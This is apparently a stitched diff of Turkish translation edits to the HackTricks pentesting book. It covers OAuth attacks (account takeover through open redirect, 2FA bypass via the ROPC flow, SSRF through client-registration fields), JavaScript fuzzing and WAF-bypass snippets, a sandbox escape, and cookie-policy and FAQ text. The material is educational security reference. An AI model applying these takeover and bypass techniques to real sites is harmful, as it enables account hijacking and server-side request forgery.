[**Bu videoda açıklandığı gibi**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), kodun son URL'de nerede sağlanacağını belirtmek için **`response_mode`** parametresini belirtmek mümkün olabilir:
|
||||
[**bu videoda açıklandığı gibi**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), **`response_mode`** parametresini, kodun son URL'de nerede sağlanmasını istediğinizi belirtmek için kullanmak mümkün olabilir:
|
||||
|
||||
- `response_mode=query` -> Kod bir GET parametresi içinde sağlanır: `?code=2397rf3gu93f`
|
||||
- `response_mode=fragment` -> Kod URL parçası parametresi içinde sağlanır `#code=2397rf3gu93f`
|
||||
@ -179,36 +179,36 @@ Bu istemi atlatmak için, **returnUrl** kullanarak bu RU çerezini ayarlayacak
|
||||
|
||||
### OAuth ROPC akışı - 2 FA atlatma <a href="#b440" id="b440"></a>
|
||||
|
||||
[**Bu blog yazısına göre**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), bu, OAuth üzerinden **kullanıcı adı** ve **şifre** ile giriş yapmayı sağlayan bir OAuth akışıdır. Bu basit akış sırasında, kullanıcının gerçekleştirebileceği tüm eylemlere erişim sağlayan bir **token** dönerse, bu token kullanılarak 2FA atlatılabilir.
|
||||
[**bu blog yazısına göre**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), bu, OAuth üzerinden **kullanıcı adı** ve **şifre** ile giriş yapmayı sağlayan bir OAuth akışıdır. Bu basit akış sırasında, kullanıcının gerçekleştirebileceği tüm eylemlere erişim sağlayan bir **token** dönerse, bu token kullanılarak 2FA atlatılabilir.
|
||||
|
||||
### Açık yönlendirmeye dayalı web sayfasında ATO <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Bu [**blog yazısı**](https://blog.voorivex.team/oauth-non-happy-path-to-ato), bir **açık yönlendirmeyi** referans değerinden yararlanarak OAuth'u ATO için nasıl kötüye kullanmanın mümkün olduğunu yorumlamaktadır. Saldırı şu şekildedir:
|
||||
Bu [**blog yazısı**](https://blog.voorivex.team/oauth-non-happy-path-to-ato), bir **açık yönlendirmeyi** referans değerinden yararlanarak OAuth'u ATO için nasıl kötüye kullanabileceğinizi anlatıyor. Saldırı şu şekildeydi:
|
||||
|
||||
1. Kurban saldırganın web sayfasına erişir
|
||||
1. Kurban saldırganın web sayfasına erişir.
|
||||
2. Kurban kötü niyetli bağlantıyı açar ve bir açıcı, **saldırganın web sitesi** referansını kullanarak `response_type=id_token,code&prompt=none` ek parametreleri ile Google OAuth akışını başlatır.
|
||||
3. Açıcı, sağlayıcı kurbanı yetkilendirdikten sonra, onları `redirect_uri` parametresinin değerine (kurban web) 30X kodu ile geri gönderir ve bu hala saldırganın web sitesini referans olarak tutar.
|
||||
4. Kurban **web sitesi, referansa dayalı açık yönlendirmeyi tetikler** ve kurban kullanıcıyı saldırganın web sitesine yönlendirir, çünkü **`respose_type`** **`id_token,code`** olduğundan, kod saldırgana **URL'nin parçasında** geri gönderilecektir, bu da onun kurbanın sitesinde Google aracılığıyla kullanıcının hesabını ele geçirmesine olanak tanır.
|
||||
4. Kurban **web sitesi, referansa dayalı açık yönlendirmeyi tetikler** ve kurban kullanıcıyı saldırganın web sitesine yönlendirir; çünkü **`respose_type`** **`id_token,code`** olduğundan, kod saldırgana URL'nin **parçasında** geri gönderilecektir, bu da onun kurbanın sitesinde Google aracılığıyla kullanıcının hesabını ele geçirmesine olanak tanır.
|
||||
|
||||
### SSRF'lerin parametreleri <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**Bu araştırmayı kontrol edin**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Bu tekniğin daha fazla ayrıntısı için.**
|
||||
|
||||
OAuth'taki Dinamik İstemci Kaydı, güvenlik açıkları için daha az belirgin ama kritik bir vektör olarak, özellikle **Sunucu Tarafı İstek Sahteciliği (SSRF)** saldırıları için hizmet eder. Bu uç nokta, OAuth sunucularının istemci uygulamaları hakkında, kötüye kullanılabilecek hassas URL'ler de dahil olmak üzere ayrıntılar almasına olanak tanır.
|
||||
OAuth'taki Dinamik İstemci Kaydı, güvenlik açıkları için daha az belirgin ama kritik bir vektör olarak **Sunucu Tarafı İstek Sahteciliği (SSRF)** saldırılarına hizmet eder. Bu uç nokta, OAuth sunucularının istemci uygulamaları hakkında, kötüye kullanılabilecek hassas URL'ler de dahil olmak üzere ayrıntılar almasına olanak tanır.
|
||||
|
||||
**Ana Noktalar:**
|
||||
|
||||
- **Dinamik İstemci Kaydı**, genellikle `/register` ile eşleştirilir ve `client_name`, `client_secret`, `redirect_uris` ve POST istekleri aracılığıyla logolar veya JSON Web Key Set'leri (JWK'ler) için URL'ler gibi ayrıntıları kabul eder.
|
||||
- Bu özellik, **RFC7591** ve **OpenID Connect Kaydı 1.0**'da belirtilen spesifikasyonlara uyar ve SSRF'ye karşı potansiyel olarak savunmasız olabilecek parametreleri içerir.
|
||||
- Kayıt süreci, birkaç şekilde sunucuları SSRF'ye maruz bırakabilir:
|
||||
- **`logo_uri`**: Sunucu tarafından alınabilecek istemci uygulamasının logosu için bir URL, SSRF'yi tetikleyebilir veya URL yanlış yönetilirse XSS'ye yol açabilir.
|
||||
- **`jwks_uri`**: İstemcinin JWK belgesine giden bir URL, kötü niyetle oluşturulursa, sunucunun saldırgan kontrolündeki bir sunucuya dışa dönük istekler yapmasına neden olabilir.
|
||||
- **Dinamik İstemci Kaydı**, genellikle `/register` ile eşleştirilir ve `client_name`, `client_secret`, `redirect_uris` ve POST istekleri aracılığıyla logolar veya JSON Web Anahtar Setleri (JWK'ler) için URL'ler gibi ayrıntıları kabul eder.
|
||||
- Bu özellik, **RFC7591** ve **OpenID Connect Kaydı 1.0**'da belirtilen spesifikasyonlara uyar; bu, SSRF'ye karşı potansiyel olarak savunmasız olabilecek parametreleri içerir.
|
||||
- Kayıt süreci, istemcileri birkaç şekilde SSRF'ye maruz bırakabilir:
|
||||
- **`logo_uri`**: Sunucu tarafından alınabilecek istemci uygulamasının logosu için bir URL; bu, SSRF'yi tetikleyebilir veya URL yanlış yönetilirse XSS'ye yol açabilir.
|
||||
- **`jwks_uri`**: İstemcinin JWK belgesine giden bir URL; kötü niyetle oluşturulursa, sunucunun saldırgan kontrolündeki bir sunucuya dışa dönük istekler yapmasına neden olabilir.
|
||||
- **`sector_identifier_uri`**: Sunucunun alabileceği `redirect_uris` JSON dizisini referans alır ve bu, SSRF fırsatı yaratır.
|
||||
- **`request_uris`**: İstemci için izin verilen istek URI'lerini listeler, bu URI'ler yetkilendirme sürecinin başında sunucu tarafından alınırsa kötüye kullanılabilir.
|
||||
- **`request_uris`**: İstemci için izin verilen istek URI'lerini listeler; bu, sunucu bu URI'leri yetkilendirme sürecinin başında alırsa kötüye kullanılabilir.
|
||||
|
||||
**Kötüye Kullanım Stratejisi:**
|
||||
|
||||
- SSRF, `logo_uri`, `jwks_uri` veya `sector_identifier_uri` gibi parametrelerde kötü niyetli URL'ler ile yeni bir istemci kaydederek tetiklenebilir.
|
||||
- SSRF, `logo_uri`, `jwks_uri` veya `sector_identifier_uri` gibi parametrelerde kötü niyetli URL'lerle yeni bir istemci kaydederek tetiklenebilir.
|
||||
- `request_uris` aracılığıyla doğrudan kötüye kullanım, beyaz liste kontrolleri ile azaltılabilirken, önceden kaydedilmiş, saldırgan kontrolündeki bir `request_uri` sağlamak, yetkilendirme aşamasında SSRF'yi kolaylaştırabilir.
|
||||
|
||||
## OAuth sağlayıcıları Yarış Koşulları
|
||||
|
@ -76,7 +76,7 @@ console.log(`[${err}]`, j, cmd)
|
||||
}
|
||||
//From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z
|
||||
```
|
||||
### Geçerli JS Boşlukları fonksiyon çağrısında
|
||||
### Geçerli JS Boşlukları Fonksiyon Çağrısında
|
||||
```javascript
|
||||
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 40-41). Kindle Edition.
|
||||
|
||||
@ -93,7 +93,7 @@ log.push(i)
|
||||
|
||||
console.log(log)v//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,813 232,8233,8239,8287,12288,65279
|
||||
```
|
||||
### **Dize Oluşturmak için Geçerli Karakterler**
|
||||
### **Geçerli karakterler ile Dize Oluşturma**
|
||||
```javascript
|
||||
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 41-42). Kindle Edition.
|
||||
|
||||
@ -110,7 +110,7 @@ console.log(log) //34,39,47,96
|
||||
```
|
||||
### **Surrogate Pairs BF**
|
||||
|
||||
Bu teknik XSS için çok faydalı olmayacak ama WAF korumalarını aşmak için faydalı olabilir. Bu python kodu, girdi olarak 2 byte alır ve ilk byte'ı yüksek surrogate çiftinin son byte'ı ve son byte'ı düşük surrogate çiftinin son byte'ı olan surrogate çiftlerini arar.
|
||||
Bu teknik XSS için çok faydalı olmayacak, ancak WAF korumalarını aşmak için yararlı olabilir. Bu python kodu, girdi olarak 2 bayt alır ve ilk baytı yüksek surrogate çiftinin son baytı ve son baytı düşük surrogate çiftinin son baytı olan surrogate çiftlerini arar.
|
||||
```python
|
||||
def unicode(findHex):
|
||||
for i in range(0,0xFFFFF):
|
||||
@ -121,7 +121,7 @@ l = chr(int(L[-2:],16))
|
||||
if(h == findHex[0]) and (l == findHex[1]):
|
||||
print(H.replace("0x","\\u")+L.replace("0x","\\u"))
|
||||
```
|
||||
### `javascript{}:` Protokol Bulanıklığı
|
||||
### `javascript{}:` Protokol Fuzzing
|
||||
```javascript
|
||||
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition.
|
||||
log=[];
|
||||
@ -152,7 +152,7 @@ document.body.append(anchor)
|
||||
a = document.createElement("a")
|
||||
log = []
|
||||
for (let i = 0; i <= 0x10ffff; i++) {
|
||||
a.href = `${String.fromCodePoint(i)}https://hacktricks.xyz`
|
||||
a.href = `${String.fromCodePoint(i)}https://hacktricks.wiki`
|
||||
if (a.hostname === "hacktricks.xyz") {
|
||||
log.push(i)
|
||||
}
|
||||
@ -186,13 +186,13 @@ log.push(i)
|
||||
}
|
||||
console.log(log) //33,45,62
|
||||
```
|
||||
## **Öznitelikleri Analiz Etme**
|
||||
## **Özellikleri Analiz Etme**
|
||||
|
||||
Portswigger'ın **Hackability inspector** aracı, bir javascript nesnesinin **özelliklerini analiz etmeye** yardımcı olur. Kontrol et: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
|
||||
|
||||
## **.map js dosyaları**
|
||||
|
||||
- .map js dosyalarını indirmek için hile: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)
|
||||
- .map js dosyalarını indirmek için bir hile: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)
|
||||
- Bu dosyaları analiz etmek için bu aracı kullanabilirsiniz [https://github.com/paazmaya/shuji](https://github.com/paazmaya/shuji)
|
||||
|
||||
## "--" Ataması
|
||||
@ -264,7 +264,7 @@ let a = 4;
|
||||
let b = 2;
|
||||
() => a + b + 1;
|
||||
```
|
||||
Yani, önceki işlevlerin çoğu aslında işe yaramaz çünkü onları kaydedip çağırmıyoruz. Örneğin `plusone` işlevini oluşturmak:
|
||||
Yani, önceki işlevlerin çoğu aslında işe yaramaz çünkü onları kaydetmiyoruz ve çağırmıyoruz. Örnek olarak `plusone` işlevini oluşturma:
|
||||
```javascript
|
||||
// Traductional
|
||||
function plusone(a) {
|
||||
@ -315,7 +315,7 @@ console.log(String(afunc)) //This will print the code of the function
|
||||
console.log(this.afunc.toString()) //This will print the code of the function
|
||||
console.log(global.afunc.toString()) //This will print the code of the function
|
||||
```
|
||||
**İsmi olmayan fonksiyonlar** durumunda, yine de **fonksiyon kodunu** içinden yazdırabilirsiniz:
|
||||
**İsmi olmayan fonksiyonlar** durumunda, **fonksiyon kodunu** içinden hala yazdırabilirsiniz:
|
||||
```javascript
|
||||
;(function () {
|
||||
return arguments.callee.toString()
|
||||
@ -343,7 +343,7 @@ return String(this)
|
||||
/* Hidden commment */
|
||||
})()
|
||||
```
|
||||
## Sandbox Kaçışı - Window nesnesini geri kazanma
|
||||
## Sandbox Escape - Window nesnesini geri kazanma
|
||||
|
||||
Window nesnesi, alert veya eval gibi küresel olarak tanımlanmış fonksiyonlara erişim sağlar.
|
||||
```javascript
|
||||
@ -424,7 +424,7 @@ origValue = val
|
||||
|
||||
debugAccess(Object.prototype, "ppmap")
|
||||
```
|
||||
## Test yüklerini denemek için Otomatik Tarayıcı Erişimi
|
||||
## Test Yüklerini Denemek için Otomatik Tarayıcı Erişimi
|
||||
```javascript
|
||||
//Taken from https://github.com/svennergr/writeups/blob/master/inti/0621/README.md
|
||||
const puppeteer = require("puppeteer")
|
||||
|
@ -6,27 +6,27 @@ Son güncelleme: 02/04/2023
|
||||
|
||||
Bu Çerez Politikası, HackTricks ekibi ("HackTricks", "biz", "bize" veya "bizim") tarafından sahip olunan ve işletilen aşağıdaki web sitelerine uygulanır:
|
||||
|
||||
* hacktricks.xyz
|
||||
* [www.hacktricks.xyz](http://www.hacktricks.xyz/)
|
||||
* book.hacktricks.xyz
|
||||
* cloud.hacktricks.xyz
|
||||
* hacktricks.wiki
|
||||
* [www.hacktricks.wiki](https://www.hacktricks.wiki/)
|
||||
* book.hacktricks.wiki
|
||||
* cloud.hacktricks.wiki
|
||||
|
||||
Bu web sitelerinden herhangi birini kullanarak, bu Çerez Politikasına uygun olarak çerezlerin kullanımını kabul edersiniz. Kabul etmiyorsanız, lütfen tarayıcı ayarlarınızdan çerezleri devre dışı bırakın veya web sitelerimizi kullanmaktan kaçının.
|
||||
|
||||
### Çerezler nedir?
|
||||
|
||||
Çerezler, bir web sitesini ziyaret ettiğinizde bilgisayarınızda veya mobil cihazınızda saklanan küçük metin dosyalarıdır. Web sitelerinin çalışmasını sağlamak, işlevselliğini artırmak ve daha kişiselleştirilmiş bir kullanıcı deneyimi sunmak için yaygın olarak kullanılır.
|
||||
Çerezler, bir web sitesini ziyaret ettiğinizde bilgisayarınızda veya mobil cihazınızda saklanan küçük metin dosyalarıdır. Web sitelerinin çalışmasını sağlamak, işlevselliğini artırmak ve daha kişiselleştirilmiş bir kullanıcı deneyimi sunmak için yaygın olarak kullanılırlar.
|
||||
|
||||
### Çerezleri nasıl kullanıyoruz
|
||||
|
||||
Web sitelerimizde çerezleri aşağıdaki amaçlar için kullanıyoruz:
|
||||
|
||||
1. Temel çerezler: Bu çerezler, kullanıcı kimlik doğrulamasını sağlamak, güvenliği korumak ve tercihlerinizi hatırlamak gibi web sitelerimizin temel işlevselliği için gereklidir.
|
||||
2. Performans çerezleri: Bu çerezler, ziyaretçilerin web sitelerimizle nasıl etkileşimde bulunduğunu anlamamıza yardımcı olur ve bilgileri anonim olarak toplar ve raporlar. Bu, web sitemizin performansını ve kullanıcı deneyimini geliştirmemizi sağlar.
|
||||
3. İşlevsellik çerezleri: Bu çerezler, web sitelerimizin dil veya bölge gibi yaptığınız seçimleri hatırlamasını sağlar ve daha kişiselleştirilmiş bir deneyim sunar.
|
||||
2. Performans çerezleri: Bu çerezler, ziyaretçilerin web sitelerimizle nasıl etkileşimde bulunduğunu anlamamıza yardımcı olur, bilgileri anonim olarak toplayıp raporlar. Bu, web sitemizin performansını ve kullanıcı deneyimini geliştirmemizi sağlar.
|
||||
3. İşlevsellik çerezleri: Bu çerezler, web sitelerimizin diliniz veya bölgeniz gibi yaptığınız seçimleri hatırlamasını sağlar ve daha kişiselleştirilmiş bir deneyim sunar.
|
||||
4. Hedefleme/reklam çerezleri: Bu çerezler, ilgi alanlarınıza, tarayıcı geçmişinize ve web sitelerimizle etkileşimlerinize dayalı olarak ilgili reklamlar ve pazarlama iletişimleri sunmak için kullanılır.
|
||||
|
||||
Ayrıca, book.hacktricks.xyz ve cloud.hacktricks.xyz sayfaları Gitbook'ta barındırılmaktadır. Gitbook çerezleri hakkında daha fazla bilgiye [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy) adresinden ulaşabilirsiniz.
|
||||
Ayrıca, book.hacktricks.wiki ve cloud.hacktricks.wiki sayfaları Gitbook'ta barındırılmaktadır. Gitbook çerezleri hakkında daha fazla bilgiye [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy) adresinden ulaşabilirsiniz.
|
||||
|
||||
### Üçüncü taraf çerezleri
|
||||
|
||||
@ -38,7 +38,7 @@ Kendi çerezlerimizin yanı sıra, web sitesi kullanım istatistiklerini raporla
|
||||
|
||||
Bu Çerez Politikasındaki değişiklikler
|
||||
|
||||
Bu Çerez Politikasını, uygulamalarımızdaki veya ilgili yasalarındaki değişiklikleri yansıtmak için zaman zaman güncelleyebiliriz. Çerez uygulamalarımızla ilgili en son bilgileri görmek için bu sayfayı periyodik olarak gözden geçirmenizi öneririz.
|
||||
Uygulamalarımızda veya ilgili yasalarda meydana gelen değişiklikleri yansıtmak için bu Çerez Politikasını zaman zaman güncelleyebiliriz. Çerez uygulamalarımızla ilgili en son bilgileri görmek için bu sayfayı periyodik olarak gözden geçirmenizi öneririz.
|
||||
|
||||
### Bizimle iletişime geçin
|
||||
|
||||
|
@ -13,7 +13,7 @@
|
||||
> - Topluluğun yayınladığı harika **hacking** tekniklerini **ORİJİNAL** **YAZARLARA** tüm **kredileri** vererek **Saklamak**.
|
||||
> - **Başka insanlardan kredi almak istemiyoruz**, sadece herkes için havalı numaraları saklamak istiyoruz.
|
||||
> - HackTricks'te **kendi araştırmalarımızı** da yazıyoruz.
|
||||
> - Birçok durumda, tekniğin önemli kısımlarının **HackTricks'te bir özetini** yazacağız ve **okuyucuyu daha fazla ayrıntı için orijinal gönderiyi ziyaret etmeye teşvik edeceğiz**.
|
||||
> - Birçok durumda, tekniğin önemli kısımlarının **HackTricks'te bir özetini** yazacağız ve daha fazla ayrıntı için **okuyucuyu orijinal gönderiyi ziyaret etmeye teşvik edeceğiz**.
|
||||
> - Kitaptaki tüm hacking tekniklerini **DÜZENLEMEK** böylece **DAHA ERİŞİLEBİLİR** hale getirmek.
|
||||
> - HackTricks ekibi, insanların **daha hızlı öğrenebilmesi** için içeriği **sadece düzenlemek** amacıyla binlerce saat harcadı.
|
||||
|
||||
@ -25,7 +25,7 @@
|
||||
>
|
||||
> - **Bu kaynaklar için çok teşekkür ederim, size nasıl teşekkür edebilirim?**
|
||||
|
||||
HackTricks ekiplerine bu kaynakları bir tweet ile [**@hacktricks_live**](https://twitter.com/hacktricks_live) olarak bahsederek kamuya açık bir şekilde teşekkür edebilirsiniz.\
|
||||
HackTricks ekiplerine bu kaynakları bir tweet ile [**@hacktricks_live**](https://twitter.com/hacktricks_live) etiketleyerek kamuya açık bir şekilde teşekkür edebilirsiniz.\
|
||||
Eğer özellikle minnettar iseniz, [**projeyi burada destekleyebilirsiniz**](https://github.com/sponsors/carlospolop).\
|
||||
Ve Github projelerine **bir yıldız vermeyi unutmayın!** (Aşağıdaki bağlantıları bulun).
|
||||
|
||||
@ -44,20 +44,20 @@ Github projelerine **bir yıldız vermeyi unutmayın!**
|
||||
>
|
||||
> - **HackTricks'ten bazı içerikleri kopyalayıp bloguma koyabilir miyim?**
|
||||
|
||||
Evet, koyabilirsiniz, ancak **içeriğin alındığı belirli bağlantıları** belirtmeyi unutmayın.
|
||||
Evet, yapabilirsiniz, ancak **içeriğin alındığı belirli bağlantıları** belirtmeyi unutmayın.
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **HackTricks'in bir sayfasını nasıl alıntılayabilirim?**
|
||||
|
||||
Bilgiyi aldığınız sayfanın **bağlantısı** göründüğü sürece yeterlidir.\
|
||||
Bilgiyi aldığınız sayfanın **bağlantısı** görünüyorsa yeterlidir.\
|
||||
Bir bibtex'e ihtiyacınız varsa, şöyle bir şey kullanabilirsiniz:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||
title = {Title of the Specific Page},
|
||||
year = {Year of Last Update (check it at the end of the page)},
|
||||
url = {\url{https://book.hacktricks.xyz/specific-page}},
|
||||
url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
@ -66,7 +66,7 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
|
||||
|
||||
**Bunu yapmanızı istemem**. Bu **kimseye fayda sağlamayacak** çünkü tüm **içerik zaten resmi HackTricks kitaplarında ücretsiz olarak mevcuttur**.
|
||||
|
||||
Kaybolacağından korkuyorsanız, sadece Github'da fork edin veya indirin, dediğim gibi zaten ücretsiz.
|
||||
Eğer kaybolacağından korkuyorsanız, sadece Github'da fork edin veya indirin, dediğim gibi zaten ücretsiz.
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
@ -76,7 +76,7 @@ Kaybolacağından korkuyorsanız, sadece Github'da fork edin veya indirin, dedi
|
||||
|
||||
Eğer HackTricks kitaplarının **ticari amaçlar** için yapıldığını düşünüyorsanız, **TAMAMEN YANLIŞ** düşünüyorsunuz.
|
||||
|
||||
Sponsorlarımız var çünkü, tüm içerik **ÜCRETSİZ** olsa da, topluluğa **çalışmamızı takdir etme imkanı sunmak** istiyoruz. Bu nedenle, insanlara HackTricks'e [**Github sponsorları**](https://github.com/sponsors/carlospolop) aracılığıyla bağış yapma seçeneği sunuyoruz ve **ilgili siber güvenlik şirketleri** HackTricks'i sponsor olarak destekleyip kitapta **bazı reklamlar** bulundurabiliyor, bu **reklamlar** her zaman görünür yerlerde ama öğrenme sürecini **rahatsız etmeyecek** şekilde yerleştirilmektedir.
|
||||
Sponsorlarımız var çünkü, tüm içerik **ÜCRETSİZ** olsa da, topluluğa **çalışmamızı takdir etme imkanı sunmak** istiyoruz. Bu nedenle, insanlara HackTricks'e [**Github sponsorları**](https://github.com/sponsors/carlospolop) aracılığıyla bağış yapma seçeneği sunuyoruz ve **ilgili siber güvenlik şirketleri** HackTricks'i sponsor olarak destekleyip kitapta **bazı reklamlar** bulundurabiliyor, bu **reklamlar** her zaman görünür yerlerde ama **öğrenme** sürecini rahatsız etmeyecek şekilde yerleştiriliyor.
|
||||
|
||||
HackTricks, HackTricks'ten çok daha az içeriğe sahip diğer bloglar gibi rahatsız edici reklamlarla dolu değildir çünkü HackTricks ticari amaçlar için yapılmamıştır.
|
||||
|
||||
@ -84,7 +84,7 @@ HackTricks, HackTricks'ten çok daha az içeriğe sahip diğer bloglar gibi raha
|
||||
>
|
||||
> - **Eğer bazı HackTricks sayfaları blog yazıma dayanıyorsa ama referans verilmemişse ne yapmalıyım?**
|
||||
|
||||
**Çok üzgünüz. Bu olmamalıydı**. Lütfen, HackTricks sayfasının içeriği ile birlikte blogunuzun linkini Github sorunları, Twitter, Discord... aracılığıyla bize bildirin ve **bunu kontrol edip en kısa sürede ekleyeceğiz**.
|
||||
**Çok üzgünüz. Bu olmamalıydı**. Lütfen, HackTricks sayfasının bağlantısını ve blogunuzun bağlantısını Github sorunları, Twitter, Discord... aracılığıyla bize bildirin ve **bunu kontrol edip en kısa sürede ekleyeceğiz**.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
@ -94,7 +94,7 @@ HackTricks'te sayfanıza bağlantı olmasının:
|
||||
|
||||
- **SEO**'nu geliştirir
|
||||
- İçerik **15'ten fazla dile** çevrilir, bu da daha fazla insanın bu içeriğe erişmesini sağlar
|
||||
- **HackTricks**, insanların **sayfanızı kontrol etmelerini** teşvik eder (birçok kişi, HackTricks'te bazı sayfalarının bulunması nedeniyle daha fazla ziyaret aldıklarını belirtmiştir)
|
||||
- **HackTricks**, insanların **sayfanızı kontrol etmelerini** teşvik eder (birçok kişi, HackTricks'te sayfalarının bulunmasının ardından daha fazla ziyaret aldıklarını belirtti)
|
||||
|
||||
Ancak, eğer blogunuzun içeriğinin HackTricks'ten kaldırılmasını istiyorsanız, sadece bize bildirin ve kesinlikle **blogunuza olan her bağlantıyı** ve buna dayanan her içeriği **kaldıracağız**.
|
||||
|
||||
@ -102,42 +102,42 @@ Ancak, eğer blogunuzun içeriğinin HackTricks'ten kaldırılmasını istiyorsa
|
||||
>
|
||||
> - **Eğer HackTricks'te kopyala-yapıştır içerik bulursam ne yapmalıyım?**
|
||||
|
||||
Her zaman **orijinal yazarlara tüm kredileri veriyoruz**. Eğer orijinal kaynak belirtilmeden kopyala-yapıştır içerik içeren bir sayfa bulursanız, lütfen bize bildirin ve ya **kaldıracağız**, ya **metnin önüne bağlantıyı ekleyeceğiz**, ya da **bağlantıyı ekleyerek yeniden yazacağız**.
|
||||
Her zaman **orijinal yazarlara tüm kredileri veriyoruz**. Eğer orijinal kaynak belirtilmeden kopyala-yapıştır içerik içeren bir sayfa bulursanız, bize bildirin ve ya **kaldıracağız**, **metnin önüne bağlantıyı ekleyeceğiz**, ya da **bağlantıyı ekleyerek yeniden yazacağız**.
|
||||
|
||||
## LICENSE
|
||||
|
||||
Copyright © Tüm hakları saklıdır, aksi belirtilmedikçe.
|
||||
|
||||
#### Lisans Özeti:
|
||||
#### License Summary:
|
||||
|
||||
- Atıf: Şu özgürlüklere sahipsiniz:
|
||||
- Paylaşma — materyali herhangi bir ortamda veya formatta kopyalayabilir ve yeniden dağıtabilirsiniz.
|
||||
- Uyarlama — materyali yeniden düzenleyebilir, dönüştürebilir ve üzerine inşa edebilirsiniz.
|
||||
- Attribution: Serbestçe:
|
||||
- Paylaş — materyali herhangi bir ortamda veya formatta kopyalayabilir ve yeniden dağıtabilirsiniz.
|
||||
- Adapt — materyali yeniden düzenleyebilir, dönüştürebilir ve üzerine inşa edebilirsiniz.
|
||||
|
||||
#### Ek Şartlar:
|
||||
#### Additional Terms:
|
||||
|
||||
- Üçüncü Taraf İçeriği: Bu blog/kitabın bazı bölümleri, diğer bloglar veya yayınlardan alıntılar gibi diğer kaynaklardan içerik içerebilir. Bu tür içeriklerin kullanımı, adil kullanım ilkeleri çerçevesinde veya ilgili telif hakkı sahiplerinden açık izinle yapılmaktadır. Lütfen üçüncü taraf içeriği ile ilgili belirli lisans bilgileri için orijinal kaynaklara başvurun.
|
||||
- Yazarlık: HackTricks tarafından yazılan orijinal içerik, bu lisansın şartlarına tabidir. Bu çalışmayı paylaşırken veya uyarlarken yazara atıfta bulunmanız teşvik edilmektedir.
|
||||
- Üçüncü Taraf İçeriği: Bu blog/kitabın bazı bölümleri, diğer bloglardan veya yayınlardan alıntılar gibi diğer kaynaklardan içerik içerebilir. Bu tür içerik, adil kullanım ilkeleri çerçevesinde veya ilgili telif hakkı sahiplerinden açık izinle kullanılmaktadır. Lütfen üçüncü taraf içerik ile ilgili belirli lisans bilgileri için orijinal kaynaklara başvurun.
|
||||
- Yazarlık: HackTricks tarafından yazılan orijinal içerik, bu lisansın şartlarına tabidir. Bu eseri paylaşırken veya uyarlarken yazara atıfta bulunmanız teşvik edilmektedir.
|
||||
|
||||
#### Muafiyetler:
|
||||
#### Exemptions:
|
||||
|
||||
- Ticari Kullanım: Bu içeriğin ticari kullanımıyla ilgili sorular için lütfen benimle iletişime geçin.
|
||||
|
||||
Bu lisans, içeriğe ilişkin herhangi bir ticari marka veya marka hakları vermez. Bu blog/kitapta yer alan tüm ticari markalar ve markalar, ilgili sahiplerinin mülkiyetindedir.
|
||||
Bu lisans, içerikle ilgili herhangi bir ticari marka veya marka hakları vermez. Bu blog/kitapta yer alan tüm ticari markalar ve markalar, ilgili sahiplerinin mülkiyetindedir.
|
||||
|
||||
**HackTricks'e erişerek veya kullanarak, bu lisansın şartlarına uymayı kabul edersiniz. Bu şartlarla aynı fikirde değilseniz, lütfen bu web sitesine erişmeyin.**
|
||||
**HackTricks'e erişerek veya kullanarak, bu lisansın şartlarına uymayı kabul edersiniz. Bu şartlara katılmıyorsanız, lütfen bu web sitesine erişmeyin.**
|
||||
|
||||
## **Açıklama**
|
||||
## **Disclaimer**
|
||||
|
||||
> [!CAUTION]
|
||||
> Bu kitap, 'HackTricks', yalnızca eğitim ve bilgilendirme amaçlıdır. Bu kitap içindeki içerik, 'olduğu gibi' sağlanmaktadır ve yazarlar ve yayıncılar, bu kitapta yer alan bilgilerin, ürünlerin, hizmetlerin veya ilgili grafiklerin tamlığı, doğruluğu, güvenilirliği, uygunluğu veya kullanılabilirliği hakkında herhangi bir türde, açık veya zımni, herhangi bir beyan veya garanti vermez. Bu tür bilgilere dayanarak yaptığınız herhangi bir güven, tamamen kendi riskinizdedir.
|
||||
> Bu kitap, 'HackTricks', yalnızca eğitim ve bilgilendirme amaçlıdır. Bu kitap içindeki içerik, 'olduğu gibi' esasına dayanmaktadır ve yazarlar ve yayıncılar, bu kitapta yer alan bilgilerin, ürünlerin, hizmetlerin veya ilgili grafiklerin tamlığı, doğruluğu, güvenilirliği, uygunluğu veya kullanılabilirliği hakkında herhangi bir beyan veya garanti vermez. Bu tür bilgilere dayanarak yaptığınız her türlü güven, tamamen kendi riskinizdedir.
|
||||
>
|
||||
